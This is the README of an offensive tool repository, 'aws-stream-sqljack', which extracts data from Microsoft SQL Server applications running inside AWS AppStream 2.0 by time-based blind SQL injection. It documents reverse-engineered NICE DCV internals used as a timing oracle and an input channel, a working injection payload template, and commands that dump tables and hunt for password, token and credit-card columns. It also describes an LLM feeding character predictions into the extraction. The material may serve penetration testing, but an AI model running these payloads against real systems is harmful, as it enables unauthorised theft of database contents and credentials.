Skip to content

About

Blind SQL injection extractor for AWS AppStream 2.0. Instruments undocumented NICE DCV SDK internals via Chrome DevTools Protocol.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

2 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 

Repository files navigation

aws-stream-sqljack

Blind SQL injection extractor for applications running inside AWS AppStream 2.0. Extracts data from Microsoft SQL Server through a stacked-query injection point, using the DCV statsManager.swaps frame counter as the timing oracle.

Standard blind SQLi tools (sqlmap, custom HTTP scripts) do not work here. AppStream pixel-streams the remote desktop via the NICE DCV protocol — there are no HTTP requests to intercept, no DOM elements to read, and no direct network path to the database. This tool was built from scratch to operate through that streaming layer.

Developed against NICE DCV Web Client SDK v1.14.1 (build 1108). All internal APIs used by this tool (statsManager.swaps, sendKeyboardEvent, rawKeyInjectionMode, addDataFromLocal) are undocumented and were found by reverse engineering the minified dcv.js and the AppStream webpack bundle (prod_v*.js). These internals may change in future DCV versions — see Reverse Engineering for details on each discovery.

Contents

Dependencies

  • Python 3.8+
  • websocket-client — CDP WebSocket connection
  • requests — CDP HTTP endpoint discovery
  • pyyaml — target profile loading
  • ctypes (stdlib) — Windows MessageBox for focus prompt

No other dependencies. No pyautogui, Pillow, Selenium, or browser automation framework.

pip install websocket-client requests pyyaml

The Problem

AWS AppStream 2.0 renders a remote Windows desktop inside a browser tab using the NICE DCV protocol (H.264 video over WebRTC, control channel over WebSocket). The entire remote UI is drawn on a single HTML5 <canvas> element. There are no form fields, no accessible DOM nodes, and no inspectable network traffic between the application and its database.

Every standard automation approach was tested and failed:

  • sqlmap / HTTP scripts — No HTTP traffic exists. Everything is inside the DCV stream.
  • time.sleep timing — Measures local Python execution, not remote query duration. Chrome stays responsive regardless of what happens inside the stream.
  • Screenshot comparison (pyautogui + Pillow) — The remote desktop application does not change visually during a WAITFOR DELAY freeze. No spinner, no cursor change. Screenshots during a freeze are pixel-identical to idle screenshots.
  • Win32 APIs (IsHungAppWindow) — Detects local window hangs. Chrome is never hung — only the remote application inside the stream is frozen.
  • CDP Input.dispatchKeyEvent — Chrome's renderer consumes these events. They never reach the DCV canvas. Keystrokes dispatched through CDP do not arrive at the remote application.
  • CDP WebSocket frame counting — Counting Network.webSocketFrameReceived events on the DCV connection showed initial promise in calibration, but was inconsistent across runs. The DCV frame rate is too sparse and irregular for reliable timing discrimination.

Reverse Engineering

This tool depends entirely on undocumented internals of the NICE DCV Web Client SDK. Everything was found by reverse engineering the DCV JavaScript client and the AppStream webpack bundle.

Source material

  • dcv.js (data/dcv.js) — The NICE DCV Web Client SDK, version 1.14.1 (build 1108). A single minified JavaScript file, approximately 2 MB. Contains the DCV Connection class, input handling, clipboard sync, display rendering, and session statistics.
  • prod_v.js* (data/prod_v94c60b77c8eab360d69e7f145fce08fa74431fab.gz.js) — The AppStream webpack bundle. 417 modules. Contains the AppStream session management code that instantiates and manages the DCV Connection.

Both files are served from appstream2.us-east-1.aws.amazon.com and were analyzed directly in the browser using Chrome DevTools (Sources panel, search, breakpoints) and by reading the minified code. Original copies are stored in data/. To pull fresh copies from a live AppStream session, run scripts/pull_scripts.py (requires Chrome with --remote-debugging-port=9222 and an open AppStream tab).

What was found

1. The Connection object is inaccessible by design.

The DCV Connection object — the central object that holds keyboard input, clipboard, display, and stats APIs — is created inside a module closure in the webpack bundle. It is never assigned to window, never emitted via an event, and never stored in any DOM attribute. There is no supported way to reach it from outside the bundle.

The capture technique was found by searching the minified dcv.js for methods that execute with this bound to the Connection instance. The getStats() method (getStats=function(){return this.statsManager) met the requirement: it runs on a 1-second setInterval timer, and inside its body, this is the Connection. By setting a CDP Debugger breakpoint inside getStats() and evaluating window.__dcvConnection = this in the paused call frame, the Connection is promoted to a global and becomes accessible for the rest of the session.

2. statsManager.swaps works as a timing oracle.

statsManager.swaps is an internal counter on the Connection object. It tracks the number of decoded video frames (buffer swaps in the WebGL/2D canvas renderer).

Its behavior under a WAITFOR DELAY was discovered through experimentation:

  • When the remote application is responsive, DCV continuously encodes and streams screen updates. swaps increments within ~0.3 seconds of any UI change.
  • When the remote application's UI thread is frozen (blocked on a SQL query), the screen is static. DCV has nothing new to encode. swaps stops incrementing.
  • When the query completes, the UI thread unfreezes. If the freeze exceeded ~5 seconds, Windows creates a "ghost window" (title bar grays out, "(Not Responding)" appears), which produces a visual change that DCV captures. For shorter freezes (3 seconds), the unfreeze itself produces the visual change. Either way, swaps increments.

The time from payload submission to first swaps increment directly measures the query duration. A 3-second WAITFOR produces a first swap at ~2.2 seconds. A benign query produces a first swap at ~0.27 seconds. A threshold of 1.5 seconds cleanly separates TRUE from FALSE.

3. rawKeyInjectionMode is required for character input.

DCV has two keyboard modes. In the default mode, sendKeyboardEvent() forwards special keys (Tab, Ctrl+A, Escape) to the remote session but silently discards regular character keypresses (a-z, 0-9, punctuation). The method returns true in both cases — there is no way to detect the failure from the return value.

This was found by systematic testing: sending individual characters via sendKeyboardEvent() and observing that nothing appeared in the remote text field, while Tab and Ctrl+A worked normally. Searching the minified dcv.js for "rawKey" revealed setRawKeyInjectionMode(true), which bypasses the filter and sends all keystrokes as raw scancodes.

4. DCV clipboard paste via addDataFromLocal.

Five different clipboard approaches were tested before finding one that works:

  1. navigator.clipboard.writeText + Ctrl+V — Failed. The Clipboard API writes to the local browser clipboard, but DCV does not sync it to the remote session on a programmatic paste.
  2. CDP Browser.grantPermissions + clipboard API — Failed. Same underlying issue.
  3. document.execCommand('paste') — Failed. Deprecated and requires user gesture.
  4. pyperclip + simulated Ctrl+V — Failed. Pyperclip sets the local OS clipboard. DCV only syncs clipboard content in response to real user gestures, not programmatic events.
  5. Synthetic ClipboardEvent dispatch — Failed. DCV's clipboard handler checks for trusted events.

The working method was found by tracing the clipboard sync pipeline in dcv.js. The DCV client maintains its own clipboard channel (RemoteClipboard), separate from the browser's clipboard API. Calling addDataFromLocal({'text/plain': payload}) writes directly to the DCV clipboard channel, and a subsequent Ctrl+V (via sendKeyboardEvent) pastes it into the remote application. This bypasses the browser clipboard entirely.

5. Ghost window signal.

When a Windows desktop application's UI thread is blocked for more than ~5 seconds, Windows Desktop Window Manager (DWM) replaces the window with a ghost window — the title bar grays out and "(Not Responding)" appears. This visual change is captured by the DCV display encoder as a new frame, incrementing statsManager.swaps.

This was discovered accidentally during calibration with longer delay values (5-7 seconds). With a 3-second WAITFOR, the query completes before the ghost window threshold, and the first swap comes from the UI thread unfreezing directly. For delays longer than 5 seconds, two swaps are produced: one at ~5s (ghost window) and one when the query completes.

The DCV server process is separate from the target application. Input delivery, display capture, and health pings all continue independently while the application is frozen. The timing oracle works because the streaming infrastructure keeps running even when the application is hung.

Failed approaches

Before arriving at the CDP Debugger + DCV internals approach, the following approaches were built and abandoned:

  1. Fixed time.sleep timing — Measured Python sleep duration, not remote query duration. Every query appeared identical.
  2. pyautogui + screenshot comparison — Remote UI is visually static during a freeze. No pixel difference to detect.
  3. CDP WebSocket frame counting — Inconsistent. The DCV protocol's frame rate is not regular enough for reliable discrimination.
  4. CDP Input.dispatchKeyEvent for input — Chrome renderer consumes the events. They do not reach the DCV canvas.
  5. Five clipboard methods (see above) — All failed due to DCV's clipboard isolation from the browser clipboard.

All five failures pointed in the same direction: the DCV client itself had to be instrumented.

Architecture

Local machine                         AWS AppStream 2.0
┌──────────────┐    CDP (ws:9222)    ┌──────────────────┐
│  This script │◄──────────────────► │  Chrome tab      │
│              │                     │  └─ DCV client   │
│  1. Paste    │  DCV clipboard ch.  │     └─ canvas    │
│     payload  │ ───────────────────►│        │         │
│  2. Press    │  DCV keyboard evt   │     target app   │
│     Tab      │ ───────────────────►│        │         │
│  3. Poll     │  statsManager.swaps │     SQL Server   │
│     swaps    │◄─ ─ ─ ─ ─ ─ ─ ─ ─ ─│     WAITFOR      │
└──────────────┘                     └──────────────────┘

The script connects to Chrome via CDP (WebSocket on port 9222), finds the AppStream tab, and operates through three channels:

DCV Connection Capture — CDP Debugger sets a breakpoint inside Connection.getStats(). The DCV stats timer (1-second interval) hits the breakpoint. window.__dcvConnection = this in the paused frame captures the Connection. Breakpoint is removed and Debugger is disabled immediately after capture to avoid freezing the page on every timer tick.

Input Delivery — Payloads are pasted via the DCV clipboard channel (addDataFromLocal + Ctrl+V through sendKeyboardEvent in rawKeyInjectionMode). This delivers the full payload in ~0.4 seconds. If the clipboard channel is unavailable, the script falls back to character-by-character typing via sendKeyboardEvent (~30 seconds per payload). The character-to-keycode mapping (CHAR_MAP) assumes a US keyboard layout.

Timing Oracle — After pressing the trigger key (Tab by default, configurable in the profile), the script polls statsManager.swaps every 100ms and records the time to first increment. Threshold: 1.5 seconds. Below = FALSE, above = TRUE.

Timing characteristics

Payload type First swap Delta swaps
Benign (no injection) ~0.27s 1
WAITFOR 3s ~2.2s 1-2

Prerequisites

Chrome must be launched with remote debugging enabled:

chrome.exe --remote-debugging-port=9222 --user-data-dir=<profile-dir> --remote-allow-origins=*

--user-data-dir must point to a dedicated profile directory. On Windows, the debugging port flag is silently ignored when using the default Chrome profile.

Commands

Setup

  1. Launch Chrome with --remote-debugging-port=9222
  2. Navigate to the AppStream session
  3. Open the target application form containing the vulnerable input field
  4. Run a command below

On launch, the script captures the DCV Connection, then pops a Windows MessageBox asking you to click inside the target input field. Click the field, then click OK.

Evidence collection

python aws-stream-sqljack.py evidence

Extracts server identity, privileges, and service account in one run. These 7 fields are hardcoded in the script:

Field SQL Expression
Version LEFT(@@VERSION, 50)
Database Name DB_NAME()
Database Engine SERVERPROPERTY('Edition')
Server Name @@SERVERNAME
SYSADMIN IS_SRVROLEMEMBER('sysadmin')
db_owner IS_MEMBER('db_owner')
Service Account SYSTEM_USER

Does not touch tables. Use dump_table for table content.

Table content extraction

python aws-stream-sqljack.py dump_table <table_name>
python aws-stream-sqljack.py dump_table Users --rows 10
python aws-stream-sqljack.py dump_table Users --columns "UserName,Email" --rows 3
python aws-stream-sqljack.py dump_table Users --columns "UserName,Email" --rows 3 --width 200

Steps: auto-detect column names via sys.columns (or use --columns), count rows, extract each cell value up to --rows rows.

Each cell is extracted as CAST([column] AS VARCHAR(width)) using ROW_NUMBER() pagination. Slow — each cell requires a full string extraction. Target specific columns and limit rows.

Options:

  • --rows N — Maximum rows to extract (default: 5)
  • --columns "col1,col2" — Extract only these columns (default: all)
  • --width N — Max characters per cell (default: 100)

Table discovery

python aws-stream-sqljack.py recon

Counts all tables, runs boolean keyword searches against sys.tables and sys.columns. Keyword lists are hardcoded in the script (tables: password, user, credential, login, customer, account, session, token, audit, log, config, setting, key, secret, role, permission, email, address, payment, transaction; columns: password, pwd, hash, ssn, social, email, token, secret, apikey, credit, card). Use this to find targets before dump_table.

python aws-stream-sqljack.py search_tables password user credential
python aws-stream-sqljack.py search_columns password hash salt secret

Boolean keyword search: EXISTS(SELECT 1 FROM sys.tables/columns WHERE name LIKE %keyword%). One query per keyword.

python aws-stream-sqljack.py tables

Enumerates table names one by one (character-by-character extraction). Slow. Use bulk_tables on SQL Server 2017+.

python aws-stream-sqljack.py bulk_tables
python aws-stream-sqljack.py bulk_tables "name LIKE '%user%'"

Bulk extraction using STRING_AGG() (SQL Server 2017+). Optional WHERE clause filters results.

Generic extraction

python aws-stream-sqljack.py extract "DB_NAME()"
python aws-stream-sqljack.py extract "@@VERSION"

Extracts the string value of any SQL expression character by character. Binary search on ASCII codes 32-126 (printable ASCII only, no Unicode), ~7 queries per character.

python aws-stream-sqljack.py smart_extract "LEFT(@@VERSION,50)" --prefix "Microsoft SQL Server " --len 50
python aws-stream-sqljack.py smart_extract "SYSTEM_USER" --resume "webapp"

Predictive extraction. Options:

  • --prefix STR — Known prefix to verify (1 query) and skip
  • --resume STR — Resume from a partially-extracted string
  • --len N — Skip length detection, use N as known length

Loads predictions.json at each position (see Predictions section).

python aws-stream-sqljack.py verify "DB_NAME()" "MyDB"

Verifies each character of an expected value. Re-extracts mismatched positions via binary search.

Boolean tests

python aws-stream-sqljack.py bool "1=1"
python aws-stream-sqljack.py bool "IS_MEMBER('db_owner')=1"

Evaluates a boolean SQL condition. Prints TRUE or FALSE.

python aws-stream-sqljack.py check_role "db_owner"

Checks IS_MEMBER() for the given role.

Calibration

python aws-stream-sqljack.py test

Three-point calibration: benign, WAITFOR injection, benign. Reports first-swap times and pass/fail.

Global options

python aws-stream-sqljack.py evidence --delay 5

--delay N — WAITFOR DELAY duration in seconds (default: 3). Overrides the profile value. Higher values increase reliability on slow connections but slow extraction proportionally.

--profile PATH — Load a target profile YAML. Default: looks for profile.yaml in the script directory. See Target Profiles below.

--generate-profile — Print the default profile YAML to stdout. Redirect to a file and edit for your target:

python aws-stream-sqljack.py --generate-profile > my-target.yaml
python aws-stream-sqljack.py evidence --profile my-target.yaml

Target Profiles

The tool's interaction sequence (which keys to press, the injection template, AppStream region, timing parameters) is defined in a YAML profile. This should make the tool reusable across different targets without editing the script.

By default, the tool loads profile.yaml from the script directory. Use --profile to load a different file. If no profile file exists, built-in defaults are used.

Generate a starting profile:

python aws-stream-sqljack.py --generate-profile > profile.yaml

Profile format

input:
  # Keys pressed before pasting the payload
  pre_input:
    - F2       # enter edit mode
    - Ctrl+A   # select existing text

  # Key that triggers the SQL query
  trigger: Tab

  # Key that returns focus to the input after measurement
  return_focus: Shift+Tab

injection:
  # {condition} and {delay} are replaced at runtime
  template: "'; IF({condition}) WAITFOR DELAY '0:0:{delay}'--"

appstream:
  region: us-east-1
  dcv_version: "1.14.1-1108"

timing:
  delay: 3
  threshold: 1.5
  poll_interval: 0.1
  timeout_extra: 5

cdp:
  port: 9222

What to change per target

Different input control — A standard text field that does not need F2 to enter edit mode:

input:
  pre_input:
    - Ctrl+A
  trigger: Tab
  return_focus: Shift+Tab

Query triggered by Enter, not Tab:

input:
  pre_input:
    - Ctrl+A
  trigger: Enter
  return_focus: Tab

Different injection point syntax — Double-quoted string closure:

injection:
  template: '"; IF({condition}) WAITFOR DELAY ''0:0:{delay}''--'

Different AWS region:

appstream:
  region: eu-west-1

High-latency connection:

timing:
  delay: 5
  threshold: 2.5

Valid key names

Tab, Shift+Tab, F2, Ctrl+A, Enter, Escape, F5, Ctrl+V

These are the only keys supported. Adding new keys requires editing press_key() in the script.

CLI overrides

--delay N overrides timing.delay from the profile. All other values come from the profile or built-in defaults.

Predictions

The smart_extract command loads predictions.json at each character position. A correct prediction is confirmed in 1 query instead of ~7 (binary search).

{
    "22": ["2", "0", "1"],
    "23": ["0", "9", "8"],
    "default": [" ", "-", ".", "(", ")", "0", "1", "2"]
}

Numeric keys are position-specific guesses (ordered by likelihood). "default" applies to unlisted positions. The file is hot-reloaded at every position — it can be updated during extraction by an external process or manually.

Predictions do not affect correctness. A miss falls back to binary search. Without the file, every position uses binary search.

Workflow with an LLM:

  1. Start: smart_extract "LEFT(@@VERSION,50)" --prefix "Microsoft SQL Server " --len 50
  2. As characters appear, the LLM writes position-specific predictions to predictions.json
  3. The script picks them up at the next position
  4. On a 50-character string, this reduced extraction from ~65 minutes to ~35 minutes (46% reduction)

Safety Controls

Every payload is checked against a blocklist before transmission:

INSERT, UPDATE, DELETE, DROP, ALTER, TRUNCATE, CREATE,
EXEC, EXECUTE, xp_*, sp_*, MERGE, GRANT, REVOKE, DENY,
SHUTDOWN, BACKUP

If a blocked keyword is detected, the script exits immediately. Only SELECT-based boolean inference is permitted.

All payloads and results are logged to sqli_results.log.

Injection Payload Format

The default template (configurable in the profile's injection.template):

'; IF(<condition>) WAITFOR DELAY '0:0:3'--

Default template assumptions:

  • Injection point is inside a single-quoted string
  • Backend supports stacked queries (semicolon separator)
  • Backend is Microsoft SQL Server (WAITFOR DELAY is T-SQL)
  • The input field triggers a query on the profile's trigger key (default: Tab)

Conditions used by the extraction logic:

  • Length: LEN(<expression>)>N
  • Character: ASCII(SUBSTRING(<expression>,<pos>,1))>N
  • Boolean: any SQL boolean expression

Single quotes inside conditions use CHAR(N) concatenation to avoid collisions with the payload's own quoting (e.g., CHAR(37) for % in LIKE patterns).

Troubleshooting

"No AppStream tab found" — The script searches for a tab with "appstream" in the URL. The AppStream session must be open in the Chrome instance launched with --remote-debugging-port=9222.

"dcv.js not found" — DCV SDK has not loaded yet. Wait for the AppStream session to fully initialize.

"Breakpoint not hit within 25s" — DCV stats timer is not firing. Refresh the AppStream tab (F5) and retry.

"DCV data channels are dead" — Data channels destroyed (happens after multiple script runs or after calling enableDisplayQualityUpdates(false)). Refresh the AppStream tab (F5) for a new DCV session.

Calibration FAILED — Delta between benign and injection timings is too small. Check: input field has focus, injection point is exploitable, network latency is acceptable (--delay 5 or --delay 7 for slow connections), DCV connection is not degraded (refresh tab).

Wrong characters extracted — Focus drift. After the trigger key fires the query, the return-focus key (Shift+Tab by default) should return focus to the input field. If the target form has an unusual tab order, some positions may be corrupted. Adjust return_focus in the profile, or use verify to check and re-extract.

"addDataFromLocal failed" — DCV clipboard channel unavailable. The script falls back to character-by-character typing automatically (~30s per payload instead of ~0.4s).

About

Blind SQL injection extractor for AWS AppStream 2.0. Instruments undocumented NICE DCV SDK internals via Chrome DevTools Protocol.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Contributors

Languages